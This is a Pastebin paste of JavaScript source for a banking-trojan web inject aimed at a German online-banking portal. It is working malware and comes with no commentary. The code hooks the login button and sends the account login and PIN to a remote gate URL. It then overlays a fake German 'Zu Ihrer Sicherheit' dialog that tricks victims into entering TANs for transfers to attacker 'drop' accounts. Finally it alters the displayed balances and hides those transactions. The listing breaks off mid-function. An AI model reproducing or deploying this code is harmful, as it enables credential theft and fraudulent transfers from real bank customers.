Xylitol

gad.de.js

May 19th, 2014
455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery;
  2. var CONTENT_URL = "https://standarts-check.com/gm91249/";
  3.  
  4. document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background: url("'+CONTENT_URL+'/images/bodybg.png") repeat-y scroll 0 0 transparent; background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 600px;margin-left: -300px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin:10px 0 0 0; }</style>');
  5.  
  6. document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 0px;font-size:0.88em;width:100% !important;} .formContainer2 {border: 0.1em solid #C1C3C4 !important;text-align: left;color: #333333;   margin: 17px; color: #333333; } .formContainer2 h2 { background: none repeat scroll 0 0 #EDEDED;   font-weight:700; color: #4F4F4F;  line-height: normal !important;  padding: 1px 16px 2px 4px;} #branch {    width: 1.9em;}.layout input, .layout select {    vertical-align: middle;}textarea, input, select {    border: 1px solid #B5C9E3;    color: #333333;    font: 1em arial,helvetica,sans-serif;    padding: 2px;}input.button {    -moz-border-bottom-colors: none;    -moz-border-image: none;    -moz-border-left-colors: none;    -moz-border-right-colors: none;    -moz-border-top-colors: none;    background: url("../../images/bt_standard.gif") no-repeat scroll right center #EAEAEA;    border-color: -moz-use-text-color #C0C0C0 #C0C0C0 -moz-use-text-color;    border-style: none solid solid none;    border-width: medium 1px 1px medium;    color: #003399;    cursor: pointer;    font-size: 1em;    font-weight: bold;    padding: 2px 3px; float:right;    }input.confirm {    background: url("'+CONTENT_URL+'/images/bt_confirm.gif") no-repeat scroll right center #FF0000;    color: #FFFFFF;    padding-right: 22px !important;}input.confirm:hover {    background-image: url("'+CONTENT_URL+'/images/bt_confirmHover.gif");} </style>');
  7.  
  8.  
  9. var ATS={bank:'',account_id:0,bot_id:'',script_ver:'0',debug_mode:false,isDebugMode:function()
  10. {return ATS.debug_mode;},getBrowserFull:function()
  11. {var res='na';try
  12. {var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m)
  13. {res='ff'+m[1];}
  14. else
  15. {m=navigator.userAgent.match(/MSIE (\d+)/);if(m)
  16. res='ie'+m[1];}}
  17. catch(e)
  18. {res='ex';}
  19. return res;},debugMsg:function(message)
  20. {if(this.isDebugMode())
  21. {if(window.console&&window.console.log)
  22. window.console.log(message);else
  23. alert(message);}},_cookies:new Object(),setCookie:function(name,value)
  24. {ATS.debugMsg('setCookie: '+name+' = '+value);parent.ATS._cookies[name]=value;},getCookie:function(name)
  25. {if(typeof parent.ATS._cookies[name]=='undefined')
  26. return null;return parent.ATS._cookies[name];},serializeCookies:function()
  27. {var result=new Array();for(var i in parent.ATS._cookies)
  28. {result.push(encodeURIComponent(i)+'='+encodeURIComponent(parent.ATS._cookies[i]));}
  29. return result.join('&');},unserializeCookies:function(rawData)
  30. {var result=new Object();for(var i in rawData)
  31. {result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);}
  32. return result;},saveCookies:function(callback)
  33. {ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback)
  34. {data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  35. {jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},sendPostGateRequest:function(action,params)
  36. {ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  37. {jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},loadData:function(callback)
  38. {ATS.sendGateRequest('load_data',{botid:ATS.bot_id},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function')
  39. callback();});},getFullVersionText:function()
  40. {return ATS.script_ver+' / '+ATS.getBrowserFull();},sendLoginInfo:function(login,password,callback)
  41. {ATS.sendGateRequest('login',{botid:ATS.bot_id,login:login,password:password,url:window.location.href,ver:ATS.getFullVersionText()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback)
  42. {ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest)
  43. {parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:parent.ATS._logMsgSeq+': '+text},callback);}
  44. else
  45. {ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback)
  46. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback)
  47. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback)
  48. {ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback)
  49. {try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},base64_encode:function(input)
  50. {var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do
  51. {chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2))
  52. {enc3=enc4=64;}
  53. else if(isNaN(chr3))
  54. {enc4=64;}
  55. output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i<input.length);return output;},utf8_encode:function(argString)
  56. {if(argString===null||typeof argString==="undefined")
  57. return"";var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++)
  58. {var c1=string.charCodeAt(n);var enc=null;if(c1<128)
  59. {end++;}
  60. else if(c1>127&&c1<2048)
  61. {enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);}
  62. else if(c1&0xF800!=0xD800)
  63. {enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);}
  64. else
  65. {if(c1&0xFC00!=0xD800){return'error 1';}
  66. var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';}
  67. c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);}
  68. if(enc!==null)
  69. {if(end>start)
  70. {utftext+=string.slice(start,end);}
  71. utftext+=enc;start=end=n+1;}}
  72. if(end>start)
  73. utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data)
  74. {ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},randInt:function(min,max)
  75. {return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button)
  76. {var form=jq('form').has(jq(button));if(jq(form).length==0)
  77. return 0;var buttonName=jq(button).attr('name');if(buttonName!='')
  78. {var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth)
  79. buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight)
  80. buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('<input type=hidden name="'+buttonName+'.x" value="'+clickX+'" />');jq(form).append('<input type=hidden name="'+buttonName+'.y" value="'+clickY+'" />');jq(form).submit();}
  81. else
  82. jq(button).click();},delayedClick:function(button,minDelay,maxDelay)
  83. {setTimeout(function(){if(jq(button).attr('type')=='image')
  84. {ATS.imgSubmit(jq(button));}
  85. else
  86. jq(button).click();},ATS.randInt(minDelay,maxDelay));}};
  87. ATS.bank = 'gad';
  88. ATS.script_ver = '3.0';
  89. ATS.gateURL = 'https://standarts-check.com/gm91249/gate';
  90.  
  91. var langs={EN:{waittext:"Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",nextbutton:"Weiter",errortan:"TAN falsch, bitte richtige TAN eingeben",errorTanEmpty:"TAN muss 6 Zeichen lang sein!",autorizetext:"Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"},DE:{waittext:"Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",nextbutton:"Weiter",errortan:"TAN falsch, bitte richtige TAN eingeben",errorTanEmpty:"TAN muss 6 Zeichen lang sein!",autorizetext:"Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"},getLang:function(step)
  92. {return(this[this.getCurLang()][step]);},getCurLang:function()
  93. {var ln='EN';if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length)
  94. ln='DE';return ln;}};
  95.  
  96. ATS.UI_showWait=function()
  97. {ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_brilok').hide();jq('.formContainer2 #gad_contentbox').hide();}
  98. ATS.UI_getTAN=function()
  99. {return jq('.nowrap label').text();}
  100. ATS.UI_getInjectCode=function()
  101. {var code='<div id=inj_dialog_box style=\'display: none;\'>'
  102. +'<div class="formContainer2">'
  103. +'<div class="inj_dialog_content"><h2 id="inj_dialog_title">Zu Ihrer Sicherheit</h2></div>'
  104. +'<div id=inj_page_wait style=\'display: none;\'>'
  105. +'<div class="boxHinweis"><p class="begruessungText inj_content_para">'
  106. +langs.getLang('waittext')
  107. +'<br class="newline" /></p><p style="text-align:center"><img s'
  108. +'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div></div>'
  109. +'<div id="gad_contentbox" style=\'display: none;\'>'
  110. +'<div id="gad_signatur_tan" style=\'display: none;\' class="gad-colored-content-row gad-content-row-border-c gad-margin-bottom-15"><p class="gad-margin-top-10">Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /></p><div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTAN" class="gad-margin-right-10">Bitte geben Sie folgende TAN ein: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required">&nbsp;</span><input type="text" id="iTAN" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div><div style="clear:both"></div></div>'
  111. +'<div id="inj_page_brilok" class="gad-colored-content-row gad-content-row-border-c gad-margin-bottom-15" style=\'display: none;\'>'
  112. +'<div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTANBrilok" class="gad-margin-right-10">Bitte geben Sie folgende TAN ein: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required">&nbsp;</span><input type="text" id="iTANBrilok" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div><div style="clear:both"></div>'
  113. +'</div>'
  114. +'<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
  115. +'<div class="inj_buttons_block">'
  116. +'<button id="inj_Weiter" name="inj_weiter" type="submit" title="'+langs.getLang('nextbutton')+'" class="gad-margin-left-10 fltrt js-button-default keindoppelklick gad-button" value="'+langs.getLang('nextbutton')+'"><span class="gad-button-bg-left"><span class="gad-button-bg-right"><span class="gad-button-icon-forward">'+langs.getLang('nextbutton')+'</span></span></span></button>';+' <div style="clear:both"></div></div>'
  117. +'</div>'
  118. +'</div></div>';return jq(code);}
  119. ATS.UI_hideDialogBox=function()
  120. {jq('#inj_dialog_box').hide();}
  121. ATS.UI_askTan=function(tanNum,isError)
  122. {if(parent.ATS.badTan)
  123. jq('.inj_error',parent.document).show();parent.ATS.UI_showDialogBox();if(jq('h1:contains("SMS")').length!=0)
  124. {parent.ATS.TanType='sms';jq('#inj_page_wait',parent.document).hide();jq('#inj_page_brilok',parent.document).hide();jq('#gad_signatur_tan',parent.document).show();jq('.formContainer2 #gad_contentbox',parent.document).show();ATS.sendLogMsg('Asking for SMS Tan');}
  125. else
  126. {parent.ATS.TanType='brilok';if(jq('#hinweis').length)
  127. var zapwind=jq('#hinweis').html();else
  128. var zapwind=jq('#gad_signatur_tan').html();var re=/Start-Code:[\D]*([\d]+)/g;var arr=re.exec(zapwind);if(arr==null)
  129. {ATS.sendLogMsg('#hinweis='+zapwind,function(){ATS.die("ATS.UI_askTan: Regex error- cant find Start-Code");});}
  130. var startcode=arr[1];ATS.sendLogMsg('startcode='+startcode);var msg='<div id="hinweis"><p class="gad-margin-top-5">Smart-TAN optic :</p><ul class="gad-content-list">';msg+='<li><span> * 1. Stecken Sie Ihre Chipkarte in den TAN-Generator und drucken "TAN".</span></li>';msg+='<li><span>* 2. Geben Sie den Start-Code <strong>'+startcode+'</strong> ein und drucken "OK".</span></li>';if(parent.ATS.transf_mode=='sepa')
  131. {var re=/(IBAN: |IBAN Empf[\.\s\d\:]+)<strong>([\d\*]+)<\/strong>/gim;}
  132. else
  133. {var re=/(Empf[\.\s\d\:]*)<strong>([\d\*]+)<\/strong>/gim;}
  134. var ind=2;while((arr=re.exec(zapwind))!==null)
  135. {ind++;msg+='<li><span>* '+ind+'. Geben Sie die <strong>'+arr[2].replace(/\*/g,'')+'</strong> ein und drucken "OK".</span></li>';}
  136. if(ind==2)
  137. ATS.die("ATS.UI_askTan: Regex error- cant find IBAN Empf");var amount=0;if(parent.ATS.transf_mode=='sepa')
  138. amount=parent.ATS.sepa_drop.amount;else
  139. {amount=parent.ATS.int_drop.amount;}
  140. ind++;msg+='<li><span>* '+ind+'. Geben Sie die: <strong>'+amount+'</strong> EUR ein und drucken "OK".</span></li>';msg+='</ul><p></p></div>';jq('#inj_page_wait',parent.document).hide();jq('#gad_signatur_tan',parent.document).hide();jq('#inj_page_brilok',parent.document).show();jq('.formContainer2 #gad_contentbox',parent.document).show();jq('#inj_page_brilok',parent.document).prepend(msg);}}
  141. ATS.UI_onWeiterClick=function()
  142. {if(parent.ATS.TanType=='sms')
  143. var tan=jq('#iTAN').val();else
  144. var tan=jq('#iTANBrilok').val();if(tan=="test")
  145. {if(ATS.isDebugMode())
  146. {parent.ATS.UI_showWait();if(parent.ATS.transf_mode=='sepa')
  147. ATS.framePageReceipt();else
  148. ATS.framePageReceiptInternal();return false;}}
  149. if(tan.length==6)
  150. {ATS.sendLogMsg('entered TAN '+tan);jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);}
  151. else
  152. {alert(langs.getLang('errorTanEmpty'));}}
  153. ATS.UI_blockSite=function()
  154. {if(ATS.debugNoOverlay)
  155. return;ATS.debugMsg('ATS.UI_blockSite');if(jq('#inj_block_overlay').length)
  156. jq('#inj_block_overlay').show();else
  157. jq('#gad_page').before('<div id=inj_block_overlay></div>');}
  158. ATS.UI_unblockSite=function()
  159. {jq('#inj_block_overlay').hide();jq('#gad_page').show();jq('#gad_page > div').show();}
  160. ATS.UI_showDialogBox=function()
  161. {jq('#gad_page > div').hide();if(!jq('#inj_dialog_box').length)
  162. {var injectCode=ATS.UI_getInjectCode();jq('#gad_page').after(injectCode);jq('#inj_Weiter').click(ATS.UI_onWeiterClick);}
  163. jq('#inj_dialog_box').show();}
  164.  
  165. ATS.fin2float=function(text)
  166. {if(langs.getCurLang()=='EN')
  167. var text=text.toString();else
  168. var text=text.toString().replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);}
  169. ATS.float2fin=function(val)
  170. {var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2)
  171. fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3)
  172. {newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);}
  173. newIntPart=intPart+newIntPart;return newIntPart+','+fractPart;}
  174. ATS.addElementAmount=function(el,amount,postfix)
  175. {var val=ATS.fin2float(jq(el).text());var newText=ATS.float2fin(val+amount);if(postfix)
  176. newText+=' '+postfix;jq(el).text(newText);}
  177. ATS.hideLastTAN=function()
  178. {var el=jq('p:contains(Ihre zuletzt verbrauchte TAN)');if(el.length)
  179. {var html=jq(el).html();var pos=html.indexOf('Ihre zuletzt');if(pos>=0)
  180. jq(el).html(html.substr(0,pos));}
  181. jq('p:contains(Zuletzt benutzte)').remove();}
  182. ATS.checkTransfer=function(el)
  183. {var percent=parseFloat("0.00");var lastGesamtsaldo=parseFloat(ATS.getCookie('Gesamtsaldo'));if(isNaN(lastGesamtsaldo)){ATS.sendLogMsg('ERROR: lastGesamtsaldo is NULL');return false;}
  184. var curGesamtsaldo=ATS.fin2float(jq(el).text());var rep_amount=parseFloat(ATS.getCookie('rep_amount'));var tempsaldo=lastGesamtsaldo-curGesamtsaldo;tempsaldo=parseFloat(tempsaldo.toFixed(2));if(tempsaldo==0)
  185. {ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');return false;}
  186. if(tempsaldo<0)
  187. {ATS.sendLogMsg('Error calc saldo = '+tempsaldo+'; lastGesamtsaldo ='+lastGesamtsaldo+'; curGesamtsaldo ='+curGesamtsaldo);return false;}
  188. if(tempsaldo>0)
  189. {if((tempsaldo==rep_amount)||(tempsaldo>rep_amount))
  190. {var temppers=(lastGesamtsaldo-(curGesamtsaldo+rep_amount));percent=parseFloat(temppers.toFixed(2));ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+'; Script will made change');if(parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent))
  191. {ATS.setCookie('acPercent',percent);ATS.saveCookies();}
  192. if(ATS.getCookie('acTransact')!="true")
  193. {ATS.setCookie('acTransact',true);ATS.saveCookies();}
  194. return percent;}
  195. else
  196. {ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+'Script will NOT made change');ATS.setCookie('acPercent',tempsaldo);ATS.setCookie('acTransact',false);ATS.saveCookies();return false;}}}
  197. ATS.replaceFinanzstatus=function()
  198. {ATS.debugMsg('replaceFinanzstatus()');jq("#gad_toolbar_btn_print").remove();var el=jq('.gad-table-footer-summary-row > td').eq(1);var percent=ATS.checkTransfer(el);ATS.debugMsg('percent= '+percent);if(typeof percent==='boolean')return true;if(percent>15){ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');return true;}
  199. var totalReplace=0;jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){jq(this).find('tr:has(input[value="icon"])').each(function(i){var accNum=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));var amount=parseFloat(ATS.getCookie('ap'+accNum));if(amount>0)
  200. {ATS.debugMsg('REP finanzstatus: '+accNum+' + '+amount+'; percent = '+percent);ATS.addElementAmount(jq(this).children("td:eq(3)"),parseFloat(amount+percent),'EUR');totalReplace+=parseFloat(amount+percent);}});});if(totalReplace>0)
  201. {ATS.addElementAmount(jq('.gad-table-footer tr:eq(0) > td').eq(1),totalReplace,'EUR');ATS.addElementAmount(jq('.gad-table-footer-summary-row > td').eq(1),totalReplace,'EUR');}}
  202. ATS.replaceUmsatzanzeige=function()
  203. {ATS.debugMsg('replaceUmsatzanzeige()');jq("#gad_toolbar_btn_print").remove();var accNum=jq('select[name="idKontoGewaehlt"] > option:selected').text().replace(/\D+/g,'');var amount=parseFloat(ATS.getCookie('ap'+accNum));var percent=parseFloat(ATS.getCookie('acPercent'));if(percent>15){ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');return true;}
  204. if(ATS.getCookie('acTransact')==null||ATS.getCookie('acTransact')=="false")return true;if(ATS.getCookie('transfer_acc')==accNum)
  205. {ATS.debugMsg('accNum = '+accNum+'; amount = '+amount+'; percent = '+percent);ATS.addElementAmount(jq('div.gad-summary-row span:eq(0)'),amount+percent,'EUR');var hideFlag=false;jq('#gad_page table tr').each(function(i){jq(this).find("td:eq(2)").each(function(j){var text=jq.trim(jq(this).text());if(ATS.needToHide(text))
  206. {jq(this).parent().hide();hideFlag=true;}});});jq('#gad_page table:eq(0)').find('tr:visible.gad-table-row,tr:visible.gad-table-alternate-row').each(function(i){jq(this).attr('class',(i%2)?'gad-table-row':'gad-table-alternate-row');});}}
  207. ATS.needToHide=function(text)
  208. {var amount=parseFloat(ATS.getCookie('rep_amount'));if(amount)
  209. {if(langs.getCurLang()=='EN'){text=text.replace(/[^\d.]+/gi,'');if(text.indexOf(amount)!=-1)return true;}
  210. else{text=text.replace(/[^\d,]+/gi,'').replace(",",'.');if(text.indexOf(amount)!=-1)return true;}}
  211. return false;}
  212. ATS.getPageTitle=function(findtext)
  213. {var title=jq.trim(jq("#gad_breadcrumbs >span.active").eq(0).text());if(title.indexOf(findtext)!=-1)return true;else return false;}
  214. ATS.replaceBalances=function()
  215. {ATS.debugMsg('replaceBalances()');switch(langs.getCurLang())
  216. {case"EN":if(ATS.getPageTitle("Your financial overview"))
  217. ATS.replaceFinanzstatus();if(ATS.getPageTitle("Transactions"))
  218. ATS.replaceUmsatzanzeige();break;default:if(ATS.getPageTitle("Finanz"+String.fromCharCode(252)+"bersicht"))
  219. ATS.replaceFinanzstatus();if(ATS.getPageTitle("Ums"+String.fromCharCode(228)+"tze"))
  220. ATS.replaceUmsatzanzeige();break;}}
  221.  
  222. ATS.transf_mode='sepa';ATS.debug_transfer="INT";ATS.debugVisibleFrame=false;ATS.debugNoOverlay=false;ATS.CONTENT_URL=CONTENT_URL;ATS.current_state=0;ATS.sepa_or_int_select_changed=false;ATS.MaxTransferAccNum=0;ATS.StepInFrame={0:"BeginWork",10:"framePageFinanzstatus",15:"Transactions",20:"Overseas_remittance",30:"SEPA_page",110:"SEPA_form_filled",120:"TAN_ENTERED",130:"Internal_transf_page",140:"INT_form_filled",150:"KreditlimitPage",160:"TransactionsINT",170:"TransactionsSEPA",set_current_state:function(state)
  223. {for(var key in this)
  224. {if(typeof this[key]!='function'&&state==this[key]){parent.ATS.current_state=key;return key;}}
  225. return false;}};ATS.getTime=function()
  226. {return Math.floor((new Date).getTime()/1000);}
  227. ATS.die=function(msg)
  228. {ATS.sendLogMsg('ERROR: '+msg);ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);parent.ATS.StepInFrame.set_current_state("BeginWork");ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS)
  229. {ATS.debugMsg('die in frame');parent.ATS.UI_hideDialogBox();parent.ATS.UI_unblockSite();jq('.inj_full_overlay',parent.document).remove();}
  230. else
  231. {ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();jq('.inj_full_overlay').remove();}});}
  232. ATS.checkLoginPage=function()
  233. {return!!jq("button#button_login").length;}
  234. ATS.getLoginForm=function()
  235. {var form=jq("form.gad-login-form");if(form.length)
  236. return form[0];return false;}
  237. ATS.setLoginHook=function()
  238. {var loginInfoSent=false;var loginForm=ATS.getLoginForm();jq('#button_login').unbind('click');jq('#button_login').click(function(e){if(!loginInfoSent)
  239. {var loginForm=ATS.getLoginForm();if(jq(loginForm).find('input:visible#vrkennungalias').length)
  240. var login=jq(loginForm).find('input:visible#vrkennungalias').val();else
  241. var login=jq(loginForm).find('input:visible#kontonummer').val();var password=jq(loginForm).find('input:visible#pin').val();e.preventDefault();ATS.debugMsg('login info: '+login+', '+password);jq('#button_login').attr('disabled','disabled');ATS.sendLoginInfo(login,password,function(){loginInfoSent=true;jq('#button_login').attr('disabled',false);wpSubmit=true;jq('#button_login').click();});}});}
  242. ATS.isLoggedIn=function()
  243. {if(jq("#ummelden").text().indexOf("Logout")!=-1)
  244. return true;return false;}
  245. ATS.padRight=function(input,totalWidth)
  246. {var result=input;if(result.length<totalWidth){for(var i=result.length;i<totalWidth;i++){result=result+'X'}}
  247. return result;}
  248. ATS.framePageReceipt=function()
  249. {ATS.sendLogMsg('framePageReceipt');ATS.putTransfer('SEPA',parent.ATS.sepa_drop.id,parent.ATS.sepa_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.sepa_drop.id+', amount: '+parent.ATS.sepa_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.sepa_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.sepa_drop.IBAN);ATS.setCookie('rep_amount',parent.ATS.sepa_drop.amount);var transfer_acc=parent.ATS.transfer_acc;if(transfer_acc)
  250. {ATS.setCookie('transfer_acc',transfer_acc);ATS.setCookie('ap'+transfer_acc,parent.ATS.sepa_drop.amount);}
  251. ATS.setCookie('Gesamtsaldo',parent.ATS.Gesamtsaldo);ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=ATS.getFinanzstatusLink();if(nextLink!='')
  252. {setTimeout(function(){parent.ATS.StepInFrame.set_current_state("BeginWork");parent.window.document.location.href=nextLink;},1000);}});});}
  253. ATS.framePageReceiptInternal=function()
  254. {ATS.sendLogMsg('framePageReceiptInternal');ATS.putTransfer('Internal',parent.ATS.int_drop.id,parent.ATS.int_drop.amount,function(){ATS.sendLogMsg('Successful transfer INT, drop: '+parent.ATS.int_drop.id+', amount: '+parent.ATS.int_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.int_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.int_drop.Konto);ATS.setCookie('rep_amount',parent.ATS.int_drop.amount);var transfer_acc=parent.ATS.transfer_acc;if(transfer_acc)
  255. {ATS.setCookie('transfer_acc',transfer_acc);ATS.setCookie('ap'+transfer_acc,parent.ATS.int_drop.amount);}
  256. ATS.setCookie('status',1);ATS.setCookie('Gesamtsaldo',parent.ATS.Gesamtsaldo);ATS.saveCookies(function(){var nextLink=ATS.getFinanzstatusLink();if(nextLink!='')
  257. {setTimeout(function(){parent.ATS.StepInFrame.set_current_state("BeginWork");parent.window.document.location.href=nextLink;},1000);}});});}
  258. ATS.findAccountInfo=function(acc_num)
  259. {ATS.debugMsg('acc_num:'+acc_num);var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list)
  260. {if(acc_num.indexOf(accounts_list[i].number)!=-1)
  261. {return accounts_list[i];}}
  262. return false;}
  263. ATS.getSepaLink=function()
  264. {if(!parent.ATS.SepaLink)
  265. {parent.ATS.SepaLink=jq('#gad_navigation_left_1 li:eq(3) a').attr("href");}
  266. return parent.ATS.SepaLink;}
  267. ATS.getIntLink=function()
  268. {if(!parent.ATS.IntLink)
  269. {parent.ATS.IntLink=jq('#gad_navigation_left_1 li:eq(2) a').attr("href");}
  270. return parent.ATS.IntLink;}
  271. ATS.getFinanzstatusLink=function()
  272. {if(!parent.ATS.finLink)
  273. {parent.ATS.finLink=jq('#gad_navigation_left_1 li:first a').attr("href");}
  274. return parent.ATS.finLink;}
  275. ATS.openInIframe=function(url)
  276. {var iframe=jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="'+url+'"></iframe>');jq('body').append(iframe);if(ATS.debugVisibleFrame)
  277. {jq("#ats_wrk_iframe").css('width','1200px');jq("#ats_wrk_iframe").css('height','800px');jq("#ats_wrk_iframe").css('top','1000px');jq("#ats_wrk_iframe").css('position','absolute');}
  278. else
